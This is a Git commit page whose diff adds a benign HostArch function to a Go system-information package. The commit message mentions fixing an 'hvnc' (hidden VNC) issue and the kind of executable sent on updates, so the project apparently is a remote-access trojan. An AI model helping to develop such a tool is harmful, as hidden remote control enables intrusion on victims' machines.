fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.
This commit is contained in:
@@ -4,6 +4,7 @@ package sysinfo
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
@@ -43,3 +44,15 @@ func totalRAM() string {
|
||||
mb := float64(total) / (1024 * 1024)
|
||||
return fmt.Sprintf("%.0f MB", mb)
|
||||
}
|
||||
|
||||
func HostArch() string {
|
||||
if machine, err := unix.Sysctl("hw.machine"); err == nil {
|
||||
switch machine {
|
||||
case "x86_64":
|
||||
return "amd64"
|
||||
case "arm64":
|
||||
return "arm64"
|
||||
}
|
||||
}
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user